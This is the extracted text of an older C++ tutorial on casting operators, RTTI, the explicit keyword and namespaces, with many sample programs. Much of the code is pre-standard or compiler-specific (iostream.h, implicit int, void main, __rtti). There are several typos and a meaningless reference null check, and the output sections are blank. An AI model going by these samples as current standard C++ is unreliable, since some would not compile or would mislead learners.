Figure 22.5: Downcast, from Base1 to Derived1 class

//downcast conversion using dynamic_cast


#include <iostream.h>
#include <stdlib.h>

//base class
class Base1 {
public:
virtual void funct1(){};
};

//derived class...
class Derived1:public Base1 {
public:
virtual void funct2(){};
};

//dynamic_cast test function...


void funct3()
{
//instantiate objects…
Base1* Test1 = new Derived1;
Base1* Test2 = new Base1;

//making Test1 pointing to Derived1


Derived1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"Derived1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

www.tenouk.com
//should fails coz Test2 pointing
//to Base1 not Derived1, Test4 == NULL
Derived1* Test4 = dynamic_cast<Derived1*>(Test2);
cout<<"\nDerived1* Test4 = dynamic_cast<Derived1*>(Test2);"<<endl;
if(!Test4)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
//reconfirm, should be NULL pointer…
cout<<"Should be NULL pointer = "<<Test4<<endl;
}

int main()
{

funct3();
system("pause");
return 0;
}

Output:

Figure 22.6: Multiple conversion, from Derived3 to Base1

//multiple inheritance
//conversion using dynamic_cast
#include <iostream.h>
#include <stdlib.h>

//base class
class Base1 {};

class Derived1:public Base1{};

class Derived2:public Base1{};

//derived class...
class Derived3:public Derived1, public Derived2
{
public:
virtual void funct1(){}
};

//dynamic_cast test function...


void funct2()
{
//instantiate an object…
Derived3 *Test1 = new Derived3;

//-------start comment out---------


//may fail, ambiguous...from Derived3 direct
//conversion to Base1...
//if you use good compiler, please comment out this

www.tenouk.com
//part, there should be run time error:-)
Base1* Test2 = dynamic_cast<Base1*>(Test1);
cout<<"Base1* Test2 = dynamic_cast<Base1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
//reconfirm the pointer
cout<<"The pointer should be NULL ==> "<<Test2<<endl;
//---------end comment out----------

//solution, traverse, recast...


//firstly, cast to Derived1
Derived1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"\nDerived1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

//then cast to base1....


Base1* Test4 = dynamic_cast<Base1*>(Test3);
cout<<"\nBase1* Test4 = dynamic_cast<Base1*>(Test3);"<<endl;
if(!Test4)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
}

int main()
{
funct2();
system("pause");
return 0;
}

Output:

- Let try the crosscast program example.

Note:
The next two program examples will generate warning and runtime error if you use a very ‘good’ compiler
:o). The unreliable type conversions have been protected by the compiler during runtime.

Figure 22.7: Crosscast, from Base2 to Derived1

//testing the crosscast: downcast, upcast and crosscast


//conversion using dynamic_cast
#include <iostream.h>

www.tenouk.com
#include <stdlib.h>

//base class
class Base1
{
public:
virtual void funct1(){};
};

class Derived1:public Base1


{
public:
virtual void funct2(){};
};

class Derived2:public Base1{


public:
virtual void funct3(){};
};

//derived class...
class Base2
{
public:
virtual void funct4(){};
};

class Derived3:public Derived1,public Derived2,public Base2


{};

//dynamic_cast test function...


void funct5()
{
//instantiate an object
//Test1 of type Base2...
//or test1 of type Derived2...
//you can choose either one:-)

Base2* Test1 = new Base2;


//Derived2* Test1 = new Derived2;

//start with downcast, type Base2/Derived2 to Derived3...


Derived3* Test2 = dynamic_cast<Derived3*>(Test1);
cout<<"Firstly, Derived3* Test2 = dynamic_cast<Derived3*>(Test1);"<<endl;
if(!Test2)
{
cout<<"The conversion is fail lor!"<<endl;
cout<<"Checking the pointer = "<<Test2<<endl;
}

else
cout<<"The conversion is successful..."<<endl;

//Upcast, type derived3 to type derived1...


Derived1* Test3 = dynamic_cast<Derived1*>(Test2);
cout<<"\nThen, Derived1* Test3 = dynamic_cast<Derived1*>(Test2);"<<endl;
if(!Test3)
{
cout<<"The conversion is fail lor!"<<endl;
cout<<"Checking the pointer = "<<Test3<<endl;
}
else
cout<<"The conversion is successful..."<<endl;

//crosscast, direct, type Base2/Derived2 to Derived1...


Derived1* Test4 = dynamic_cast<Derived1*>(Test1);
cout<<"\nThen, Derived1* Test4 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test4)
{
cout<<"The conversion is fail lor!"<<endl;
cout<<"Checking the pointer = "<<Test3<<endl;
}

else
cout<<"The conversion is successful..."<<endl;
delete Test1;
}

int main()
{

www.tenouk.com
funct5();
system("pause");
return 0;
}

Output:

- Another tough program example.

//dynamic_cast ambiguous conversion experiment :o)


#include <iostream.h>
#include <stdlib.h>

//a class with virtual function...


//polymorphic…
class Base1
{
public:
virtual void FuncBase1()
{};
};

//another class with virtual function...


class Base2
{
public:
virtual void FuncBase2()
{};
};

//derived class from Base1 and Base2 classes


//public virtual and private...
class Derived1:public virtual Base1, private Base2
{};

//dynamic_cast test function...


void DynamicCastSample()
{
//instantiate an object of type Derived1 class...
Derived1 DerivedObj;

//simple assignment, derived to base class, upcasting...


//cast needed to break private protection...
Base2* Base2Obj = (Base2*) &DerivedObj;

//another assignment, derived to base class, upcasting...


//public inheritance, no need casting..
Base1* Base1Obj = &DerivedObj;

//base class to derived class, downcast

www.tenouk.com
Derived1& Derived1Obj = dynamic_cast<Derived1&>(*Base2Obj);
if(!&Derived1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<&Derived1Obj<<endl;

//base class to derived class, downcast


Base1Obj = dynamic_cast<Base1*>(Base2Obj);
if(!Base1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base1Obj<<endl;

//base class to base class, ????


//no inheritance…
Base2Obj = dynamic_cast<Base2*>(Base1Obj);
if(!Base2Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base2Obj<<endl;

//derived class to base class, upcast


Base1Obj = dynamic_cast<Base1*>(&Derived1Obj);
if(!Base1Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base1Obj<<endl;

//derived class to base class...


//Derived1Obj is derived from non-virtual, private Base2…
Base2Obj = dynamic_cast<Base2*>(&Derived1Obj);
if(!Base2Obj)
cout<<"Conversion is failed!...."<<endl;
else
cout<<"Conversion is OK...."<<endl;
cout<<"The address.."<<Base2Obj<<endl;
}

int main()
{
int *ptr = NULL;
int var;

cout<<"Benchmarking..."<<endl;
cout<<"Address of var = "<<&var<<endl;
//NULL pointer
cout<<"NULL *ptr = "<<ptr<<endl;
cout<<endl;

//call the function for dynamic_cast testing...


DynamicCastSample();
system("pause");
return 0;
}

Output:

www.tenouk.com
- Well, tired playing with type casting huh?

22.5 rtti

- Run time type information/identification (RTTI) is a mechanism which the type of an object can be
determined during the program execution where the type of the object cannot be determined by the
static information.
- It can be applied on the pointers and references. RTTI elements consists of:

RTTI element Brief description


dynamic_cast Polymorphic types conversion.
typeid() operator Used to identify the exact type of an object.
type_info class Used for holding the type information returned by the typeid operator.

Table 22.2: RTTI elements

- The typeid operator syntax:

typeid( expression )
typeid( type_name )

- You can use typeid to get run-time identification of type_name and expressions. A call to
typeid returns a reference to an object of type const type_info&. The returned object
represents the type of the typeid operand.
- If the typeid operand is a dereferenced pointer or a reference to a polymorphic type (class with
virtual functions), typeid returns the dynamic type of the actual object pointed or referred to in the
expression. If the operand is non-polymorphic, typeid returns an object that represents the static
type. typeid operator can be used with fundamental data types as well as user-defined types.
- If the typeid operand is a dereferenced NULL pointer, the bad_typeid exception handler is
thrown.
- Program example, don’t forget to include the typeinfo.h header file.

//using typeid operator, type_info::before()


//and type_info::name() member functions
#include <iostream.h>
#include <stdlib.h>
#include <typeinfo.h>

//T - True, F - False


#define T 1
#define F 0

//a base class


class A { };
//a derived class
class B : A { };

int main()
{
char c;

www.tenouk.com
float f;

//using typeinfo operator, == for comparison


if (typeid(c) == typeid(f))
cout<<"c and f are the same type."<<endl;
else
cout<<"c and f are different type."<<endl;

//using true and false comparison...


//name() and before() are typeinfo member functions...
cout<<typeid(int).name();
cout<<" before "<<typeid(double).name()<<": "<<
(typeid(int).before(typeid(double)) ? T:F)<<endl;

cout<<typeid(double).name();
cout<<" before "<<typeid(int).name()<<": "<<
(typeid(double).before(typeid(int)) ? T:F)<<endl;

cout<<typeid(A).name();
cout<<" before "<<typeid(B).name()<<": "<<
(typeid(A).before(typeid(B)) ? T:F)<<endl;
system("pause");
return 0;
}

Output:

- Another program example:

//getting the run time type information...


#include <iostream.h>
#include <stdlib.h>
#include <typeinfo.h>

//polymorphic base class...


class __rtti Test
{
//This makes Test a polymorphic class type.
virtual void func() {};
};

//derived class...
class Derived : public Test {};

int main(void)
{
//Instantiate Derived type object...
Derived DerivedObj;
//Declare a Derived type pointer
Derived *DerivedPtr;
//Initialize the pointer
DerivedPtr = &DerivedObj;

//do the run time checking...


if(typeid(*DerivedPtr) == typeid(Derived))
//check the type of *DerivedPtr
cout<<"Ptr *DerivedPtr type name is "<<typeid(*DerivedPtr).name();
if(typeid(*DerivedPtr) != typeid(Test))
cout<<"\nPointer DerivedPtr is not a Test class type.\n";
system("pause");
return 0;
}

Output:

www.tenouk.com
- If the expression is dereferencing a NULL pointer, typeid() will throw a bad_typeid exception
handler. If the expression is neither a pointer nor a reference to a base class of the object, the result is a
type_info reference representing the static type of the expression.
- Another program example.

//run time type information...


#include <iostream.h>
#include <stdlib.h>
#include <typeinfo.h>

class Base
{
public:
virtual void funct(){}
};

class Derived:public Base{};

int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;

cout<<"The type name of Test1 is: ";


cout<<typeid(Test1).name()<<endl;
cout<<"The type name of *Test1 is: ";
cout<<typeid(*Test1).name()<<endl;
cout<<"The type name of Test2 is: ";
cout<<typeid(Test2).name()<<endl;
cout<<"The type name of *Test2 is: ";
cout<<typeid(*Test2).name()<<endl;

delete Test1;
system("pause");
return 0;
}

Output:

22.6 reinterpret_cast

- This operator is used to convert any pointer to any other pointer type. It also can be used to convert any
integral type to any pointer type and vice versa.
- Because of the unrelated or ‘random’ type conversion can be done using reinterpret_cast, it can
be easily unsafe if used improperly and it is non portable. It should only be used when absolutely
necessary.
- It cannot be used for const-ness and volatile-ness conversion.
- Can be used to convert for example, int* to char*, or classA to classB, which both class are
unrelated classes, between two unrelated pointers, pointers to members or pointers to functions.
- For null pointer, it converts a null pointer value to the null pointer value of the destination type.
- Program example. If you change the for loop from -10 to 0, the conversion values still same, may
need to use 2's complement.

//using reinterpret_cast, int to

www.tenouk.com
//unsigned int pointers conversion
#include <iostream.h>
#include <stdlib.h>

unsigned int* Test(int *q)


{
//convert int pointer to unsigned int pointer
unsigned int* code = reinterpret_cast<unsigned int*>(q);
//return the converted type data, a pointer...
return code;
}

int main(void)
{
//array name is a pointer...
int a[10];

cout<<"int pointer unsigned int pointer"<<endl;


for(int i = 0;i<=10;i++)
cout<<(a+i)<<" converted to "<<Test(a+i)<<endl;
system("pause");
return 0;
}

Output:

2.2.7 explicit Keyword

- Keyword explicit used to avoid a single argument constructor from defining an automatic type
conversion.
- A typical explicit usage example is in a collection class in which you can pass the initial size as
constructor argument. For example, you could declare a constructor that has an argument for the initial
size of a stack as shown below:

//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;

class MyStack
{
public:
//create a stack with initial size
MyStack(int initsize);
~MyStack(void);
};

MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}

MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;

www.tenouk.com
y++;
}

//----main program----
int main()
{
//The initial stack size is 10
MyStack p(20);

//but, there will be new stack objects


//with size of 30!
p = 30;
cout<<"Without the explicit keyword!\n";
return 0;
}

Output:

- Here, without explicit keyword the constructor would define an automatic type conversion from
int type to MyStack object type.
- From the program output also, it is clear that the constructor was invoked two times, once for
Mystack with size of 20 and another one with size 30. This is not our intention.
- Then we could assign an integer, 30 to MyStack wrongfully, as shown below:

p = 30;

- The automatic type conversion would convert the integer 30 to Mystack, with 30 elements (size) and
then assign it to p.
- By declaring the int constructor as an explicit, the assignment p = 30; will result an error at compile
time. The following is the program example using explicit keyword.

//simple class
//compiled using visual C++ .Net
#include <iostream>
using namespace std;

class MyStack
{
public:
//create a stack with initial size
explicit MyStack(int initsize);
~MyStack(void);
};

MyStack::MyStack(int initsize)
{
static x;
cout<<"Constructor: Pass #"<<x<<endl;
x++;
}

MyStack::~MyStack(void)
{
static y;
cout<<"Destructor: Pass #"<<y<<endl;
y++;
}

//----main program----
int main()
{
//The initial stack size is 10
MyStack p(20);
//but, there will be new stack objects

www.tenouk.com
//with size of 30!
//p = 30;
cout<<"With the explicit keyword!\n";
return 0;
}

Output:

- You can try un-commenting the p = 30 code, then recompile and re run the program. It should
generate an error.
- Note that explicit also rules out the initialization with type conversion by using the assignment syntax
as shown below:

MyStack p1(30); //OK


MyStack p2 = 30; //error

- The previous program example based on the template of the STL. More information is in Module 24
above.
- Program example compiled using VC++ / VC++ .Net.

//run time type information...


//compiled using VC++/VC++ .Net
#include <iostream>
#include <typeinfo.h>
using namespace std;

class Base
{
public:
virtual void funct(){}
};

class Derived:public Base{};

int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;

cout<<"The type name of Test1 is: ";


cout<<typeid(Test1).name()<<endl;
cout<<"The type name of *Test1 is: ";
cout<<typeid(*Test1).name()<<endl;
cout<<"The type name of Test2 is: ";
cout<<typeid(Test2).name()<<endl;
cout<<"The type name of *Test2 is: ";
cout<<typeid(*Test2).name()<<endl;
delete Test1;
return 0;
}

Output:

- Program example compiled using g++.

www.tenouk.com
//**********-typecast.cpp-**********
//upcast conversion using dynamic_cast
#include <iostream>
using namespace std;

//base class
class Base1 {};

//derived class...
class Derived1:public Base1 {};

//another derived class


class Derived2:public Derived1{};

//dynamic_cast test function...


void funct1()
{
//instantiate an object.
Derived2* Test1 = new Derived2;

//upcasting, from derived class to base class,


//Derived1 is a direct from Base1
//making Test2 pointing to Derived1 sub-object of Test1
Derived1* Test2 = dynamic_cast<Derived1*>(Test1);
cout<<"Derived1* Test2 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;

//upcasting, from derived class to base class


//Derived2 is an indirect from Base1
Base1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"\nBase1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
}

int main()
{
funct1();
return 0;
}

[bodo@bakawali ~]$ g++ typecast.cpp -o typecast


[bodo@bakawali ~]$ ./typecast

Derived1* Test2 = dynamic_cast<Derived1*>(Test1);


The conversion is successful...

Base1* Test3 = dynamic_cast<Derived1*>(Test1);


The conversion is successful...

-------------------------------------------------0o0--------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++, Object Oriented and pattern analysis books at Amazon.com.

www.tenouk.com
MODULE 23
NAMESPACES
When the space becomes bigger and bigger
You have to define your own space!

My Training Period: hours

Note: Tested using Visual C++ 6.0 and VC++ .Net, Win32 empty console mode application. g++ (GNU C++)
example is given at the end of this Module.

Abilities

Able to:

▪ Understand, use and create the namespace.


▪ Understand and use namespace std.
▪ Using C Standard Library in C++ (C++ wrappers).
▪ Understand C++ Standard library.
▪ Understand the translation unit.

23.1 Namespace

- Real applications or programs consist of many source files. These files can be authored and maintained
by more than one developer or programmer. Eventually, the separate files are organized and linked to
produce the final application.
- Traditionally, the file organization requires that all names that aren't encapsulated within a defined
namespace (such as in a function or class body, or translation unit) must share the same global
namespace. Hence, multiple definitions of names or name clashes will be encountered while linking the
separate modules.
- Namespace mechanism in C++ overcomes the problem of name clashes in the global scope. The
namespace mechanism allows an application to be partitioned into number of subsystems. Each
subsystem can define and operate within its own scope.
- The namespaces declaration identifies and assigned a unique name to a user declared namespace. This
will be used to solve the name collision or conflict in large program and libraries development where
there are many programmers or developer working for different program portions.
- To use C++ namespaces, there are two steps involved:

1. To uniquely identify a namespace with the keyword namespace.


2. To access the elements of an identified namespace by applying the using keyword.

- General form of namespace is:

namespace indentifier
{ namespace body }

- For example:

namespace NewOne
{
int p;
long q
}

- p and q are normal variables but integrated within the NewOne namespace. In order to access this
variables from the outside the namespace, we have to use the scope operator, ::. From previous
example:

newOne::p;
newOne::q;

- A namespace definition can be nested within another namespace definition. Every namespace
definition must appear either at file scope or immediately within another namespace definition. For
example:

//namespace with using directive

www.tenouk.com
#include <iostream>
#include <stdlib.h>

namespace SampleOne
{
float p = 10.34;
}

namespace SampleTwo
{
using namespace SampleOne;
float q = 77.12;
namespace InSampleTwo
{
float r = 34.725;
}
}

int main()
{
//this directive gives you everything declared in SampleTwo
using namespace SampleTwo;
//this directive gives you only InSampleTwo
using namespace SampleTwo::InSampleTwo;
//local declaration, take precedence
float p = 23.11;

cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;
system("pause");
return 0;
}

Output:

- Another program example.

//namespace without using directive


#include <iostream>
#include <stdlib.h>

namespace NewNsOne
{
//declare namespace NewNsOne variable
int p = 4;
//declare namespace NewNsOne function
int funct(int q);
}

namespace NewNsTwo
{
//declare namespace NewNsTwo variable
int r = 6;
//declare namespace NewNsTwo function
int funct1(int numb);
//declare nested namespace
namespace InNewNsTwo
{
//declare namespace InNewNsTwo variable
long tst = 20.9456;
}
}

int main()
{
//The following four lines of code will generate error
//because it is not at global scope...

www.tenouk.com
//namespace local
//{
//int k;
//}

cout<<"NewNsOne::p is "<<(NewNsOne::p)<<endl;
cout<<"NewNsTwo::r is "<<(NewNsTwo::r)<<endl;

cout<<"NewNsTwo::InNewNsTwo::tst is"<<(NewNsTwo::InNewNsTwo::tst)<<endl;
system("pause");
return 0;
}

Output:

23.1.1 Namespace Alias

- Alternative name can be used to refer to a namespace identifier. An alias is useful when you need to
simplify the long namespace identifier.
- Program example:

//namespace alias
#include <iostream>
#include <stdlib.h>

namespace TheFirstLongNamespaceSample
{
float p = 23.44;
namespace TheNestedFirstLongNamespaceSample
{
int q = 100;
}
}

//Alias namespace
namespace First = TheFirstLongNamespaceSample;

//Use access qualifier to alias a nested namespace


namespace Second = TheFirstLongNamespaceSample::TheNestedFirstLongNamespaceSample;

int main()
{
using namespace First;
using namespace Second;

cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;

system("pause");
return 0;
}

Output:

23.1.2 Namespace Extension

- The definition of a namespace can be split over several parts of a single translation unit.

www.tenouk.com
- If you have declared a namespace, you can extend the original namespace by adding new declarations.
- Any extensions that are made to a namespace after a using declaration will not be known at the point
at which the using declaration occurs.
- For example:

//namespace extension
//cannot be compiled, no output, just sample code

//original namespace
namespace One
{
//declare namespace One variable
int p;
int q;
}

namespace Two
{
float r;
int s;
}

//namespace extension of the One


namespace One
{
//declare namespace One function
void funct1(void);
int funct2(int p);
}

int main()
{
}
//no output

- Another program example.

//namespace extension
#include <iostream>
#include <stdlib.h>

struct SampleOne
{
};
struct SampleTwo
{
};

//original namespace
namespace NsOne
{
//original function...
void FunctOne(struct SampleOne)
{
cout<<"Processing the struct argument..."<<endl;
}
}

using NsOne::FunctOne; //using-declaration...

//extending the NsOne namespace


namespace NsOne
{
//overloaded function...
void FunctOne(SampleTwo&)
{
cout<<"Processing the function argument..."<<endl;
}
}

int main()
{
SampleOne TestStruct;
SampleTwo TestClass;

FunctOne(TestStruct);
//The following function call fails because there are

www.tenouk.com
//no overloaded version for this one
//FunctOne(TestClass);

system("pause");
return 0;
}

Output:

23.1.3 Unnamed/anonymous Namespace

- Use the keyword namespace without identifier before the closing brace. This can be superior
alternative to the use of the global static variable declaration.
- Each identifier that is enclosed within an unnamed namespace is unique within the translation unit in
which the unnamed namespace is defined.
- The syntax:

namespace { namespace_body }

- Behaves as if it were replaced by:

namespace unique { namespace_body}


using namespace unique;

- Program example:

//anonymous or unnamed namespace


#include <iostream>
#include <stdlib.h>

//Anonymous namespace
namespace
{
int p = 1; //unique::p
}

void funct1()
{
++p; //unique::++p
}

namespace One
{
//Nested anonymous namespace
namespace
{
int p; //One::unique::p
int q = 3; //One::unique::q
}
}

//using-declaration
using namespace One;

void testing()
{
//++p; // error, unique::p or One::unique::p?
//One::++p; //error, One::p is undefined
cout<<"++q = "<<++q<<endl;
}

int main()
{
testing();
system("pause");
return 0;
}

www.tenouk.com
Output:

23.2 Accessing Namespace Elements

- There are several methods to access namespace elements as listed below:

▪ Using explicit access qualification


▪ Using directive
▪ Using declaration

23.2.1 using Directive

- This method is useful when you wan to access several or all the members of a namespace.
- This using-directive specifies that all identifiers in a namespace are in scope at the point that the
using-directive statement is made.
- It is also transitive; this means that when you apply the using directive to a namespace that contains
using directive within itself, you get access to those namespaces as well.
- Program example:

//using directive
#include <iostream>
#include <stdlib.h>

namespace One
{
float p = 3.1234;
}

namespace Two
{
using namespace One;

float q = 4.5678;
namespace InTwo
{
float r = 5.1234;
}
}

int main()
{

//This using directive gives you all declared in Two


using namespace Two;
//This using directive gives you only the InTwo namespace
using namespace Two::InTwo;
//This is local declaration, it takes precedence
//comment this code and re run this program, see the different...
float p = 6.12345;

cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;

system("pause");
return 0;
}

Output:

www.tenouk.com
23.2.2 using Declaration

- You can access namespace elements individually by applying the using-declaration.


- Here, you add the declared identifier to the local namespace. The syntax is:

using::unqualified-identifier;

- Program example:

//using declaration
//Function funct2() defined in two different namespaces
#include <iostream>
#include <stdlib.h>

namespace One
{
float funct1(float q)
{
return q;
}

//First funct2() definition


void funct2()
{
cout<<"funct2() function, One namespace..."<<endl;
}
}
namespace Two
{
//Second funct2() definition
void funct2()
{
cout<<"funct2() function, Two namespace..."<<endl;
}
}

int main()
{
//The using declaration identifies the desired version of funct2()
using One::funct1; //Becomes qualified identifier
using Two::funct2; //Becomes qualified identifier
float p = 4.556; //Local declaration, takes precedence

cout<<"First p value, local = "<<p<<endl;

p = funct1(3.422);
cout<<"Second p value, by function call = "<<p<<endl;

funct2();

system("pause");
return 0;
}

Output:

23.2.3 Explicit Element Access

www.tenouk.com
- This access method we use the namespace identifier together with the (::) scope resolution operator
followed by the element name.
- Using this method, we can qualify each member of a name space. It also can resolve the ambiguity.
- No matter which namespace (except anonymous/unnamed namespace) is being used in your subsystem
or program, you can apply the scope operator, :: to access identifiers in any namespace (including a
namespace already being used in the local scope) or the global namespace.
- using directive cannot be used inside a class but the using declaration is allowed.
- Program example:

//Explicit access, namespace within a class


#include <iostream>
#include <stdlib.h>

class One
{
public:
void funct1(char chs)
{cout<<"character = "<<chs<<endl;}
};

class Two:public One


{
public:
//The using directive is not allowed in class
//using namespace One;
void funct1(char *str)
{cout<<"String = "<<str<<endl;}

//using declaration is OK in class


using One::funct1; //overload Two::funct1()
};

int main()
{
Two Sample;

//Calling One::funct1()
Sample.funct1('P');
//Calling Two::funct1()
Sample.funct1("This is string");

system("pause");
return 0;
}

Output:

23.3 Namespace std

- All the classes, objects and functions of the standard C++ library are defined within namespace std,
defined by the ISO/ANSI C++ or a new one, ISO/IEC C++.
- Even though compiler that comply with ISO/ANSI C++ standard allow the use of the traditional header
files (such as iostream.h, stdlib.h or other than .h extension for implementation dependent
etc), actually the standard has specified new names for these header files, using the same name but
without the .h (or other extension for implementation dependent) under the namespace std. For
example, iostream.h becomes iostream.
- All functions, classes and objects will be declared under the std namespace if using the ISO/ANSI
C++ compliance compiler. The .h header files have been provided for backward compatibility.
- The ISO/ANSI C++ standard requires you to explicitly declare the namespace in the standard
library. For example, when using header file iostream.h, you do not have to specify the
namespace of cout in one of the following ways (as used throughout this tutorial):

www.tenouk.com
▪ std::cout – explicitly
▪ using std::cout – using declaration
▪ using namespace std – using directive

- If you use iostream without the .h extension, then you have to explicitly include either one of those
three codes.
- The following is a simple program example and make sure your compiler is ISO/ANSI C++
compliance.

//namespace std example


//notice the omitted .h header files
#include <iostream>
#include <cstdlib>

void main()
{
std::cout<<"Demonstrating ";
using namespace std;
cout<<"the std namespace."<<endl;
system("pause");
}

Output:

- Then, try comment out the following line, recompile the program. Your compiler should generate
error.

using namespace std;

23.4 Standard C++ Library

- C++ library entities such as functions and classes are declared or/and defined in one or more standard
headers. To make use of a library entity in a program, as in C program, we have to include them using
the include preprocessor directive, #include.
- The Standard C++ library headers as shown in Table 23.1 together with the 16 Standard C headers
(C++ wrappers - get the ideas of the wrappers HERE) shown in Table 23.2, constitute an
implementation of the C++ library.
- There are several headers that are rarely used are not included here, please check your compiler
documentation.
- These headers are template based. You will learn Template in next Module (Module 24).

<algorithm> <bitset> <complex>


<deque> <exception> <fstream>
<functional> <hash_map> <hash_set>
<iomanip> <ios> <iosfwd>
<iostream> <istream> <iterator>
<limits> <list> <locale>
<map> <memory> <new>
<numeric> <ostream> <queue>
<set> <sstream> <stack>
<stdexcept> <streambuf> <string>
<strstream> <utility> <valarrary>
<vector>

Table 23.1: C++ Standard header

<cassert> <cctype> <cerrno>


<cfloat> <ciso646> <climits>
<clocale> <cmath> <csetjmp>

www.tenouk.com
<csignal> <cstdarg> <cstddef>
<cstdio> <cstdlib> <cstring>
<ctime>

Table 23.2: C++ wrapper – Using C library in C++


codes. Note that there is no .h anymore

- If you want to use functions, structure, macros and other built-in item available in the Standard C
headers in C++ programming environment or ISO/IEC C++ compilers, use the C++ wrappers.
- These C++ wrappers are C headers that prefixed by c character such as <cassert> from
<assert.h>.
- Other than those ISO/IEC C and ISO/IEC C++ Standard headers should be implementation dependant,
it is non standard. Keep in mind that there are a lot more non standard headers that you will find.
- If you want to use for example, the member functions or classes of these non standard headers, you
have to get the information through their documentation.
- The issue of using the non standard library is the program portability. There is a lot of C/C++
implementation out there, so you decide it, depend on your needs and what is the target platform your
program are developed for and what compiler you are going to use to develop the programs.

23.5 Using C++ Library Headers

- In C++, you include the contents of a standard header by using the include preprocessor directive as
shown below:

#include <iostream>
#include <cstdlib>

- You can include the standard headers in any order, a standard header more than once, or two or more
standard headers that define the same macro or the same type. Do not include a standard header within
a declaration.
- A Standard C header never includes another standard header. Every function in the library is declared
in a standard header.
- Unlike in Standard C, the standard C++ header never provides a masking macro, with the same name as
the function that masks the function declaration and achieves the same effect.
- All names other than operator delete and operator new in the C++ library headers are defined in
the std namespace, or in a namespace nested within the std namespace. You refer to the name cout,
for example, as std::cout.
- The most portable way to deal with namespaces may be to obey the following two rules:

▪ To assuredly declare an external name in namespace std that is traditionally declared in


<stdlib.h>, for example, include the header <cstdlib>. Knowing that the name might
also be declared in the global namespace.
▪ To assuredly declare in the global namespace an external name that is declared in
<stdlib.h>, include the header <stdlib.h> directly. Knowing that the name might also
be declared in namespace std.

- For example if you want to use std::cout, you should include <iostream>. If you want to use
printf(), you should include <stdio.h> instead of <cstdio>.
- Normally programmers use the using declaration:

using namespace std;

- This brings all library names into the current namespace. If you write this declaration immediately after
all the include preprocessor directives, you hoist the names into the global namespace.
- You can subsequently ignore namespace considerations in the remainder of the translation unit. You
also avoid most dialect differences across different translation environments.
- Unless specifically indicated otherwise, you may not define names in the std namespace, or in a
namespace nested within the std namespace.
- The term translation unit refers to a source code file together with any included files, but less any
source lines omitted by conditional preprocessor directives. Syntactically, a translation unit is defined
as a sequence of external declarations:

external-declaration

www.tenouk.com
translation-unit external-declaration

external-declaration

function-definition
declaration

Some Examples and Experiments

- The following examples tested by using Visual C++ 6.0 and Visual Studio .Net.
- It just a re-compilation of the program examples from other Modules, assuming that the compiler is
fully ISO/IEC C++ compliance. Notice some of the code modifications.

/*Simple mathematics calculation*/


//This program is from module 1, C program.
//header files used is the C++ wrapper, no .h anymore.
//The stdlib.h for system("pause") also has been removed
#include <cstdio>

//main() function
int main( )
{
//variables declaration and initialization
int x, y, z;
x = 20;
y = 2;

printf("\nGiven x = 20, y = 2\n");


printf("\nx / y = %d", x / y);
x = x * y;
y = y + y;
printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);
z = 20 * y / x;
printf("\nz = 20 * (y / x )= %d\n", z);

return 0;
}

Output:

//demonstrates the use of function prototypes


//C++ program, no .h anymore
#include <iostream>
//but has to explicitly use the 'using namespace std'
using namespace std;

typedef unsigned short USHORT;


//another method simplifying type identifier

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

cout<< "\nThe wide of your yard(meter)? ";


cin>> widthOfYard;

www.tenouk.com
cout<< "\nThe long of your yard(meter)? ";
cin>> lengthOfYard;

areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

cout<< "\nYour yard is ";


cout<< areaOfYard;
cout<< " square meter\n\n";

return 0;
}

USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

Output:

//demonstrates the use of function prototypes


//variation of the C++ program, no .h anymore
//without the 'using namespace std;'
#include <iostream>

typedef unsigned short USHORT;


//another method simplifying type identifier

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

//without using namespace std globally, you have to


//explicitly use the std for every occurrences of the...
std::cout<< "\nThe wide of your yard(meter)? ";
std::cin>> widthOfYard;
std::cout<< "\nThe long of your yard(meter)? ";
std::cin>> lengthOfYard;

areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

std::cout<< "\nYour yard is ";


std::cout<< areaOfYard;
std::cout<< " square meter\n\n";

return 0;
}

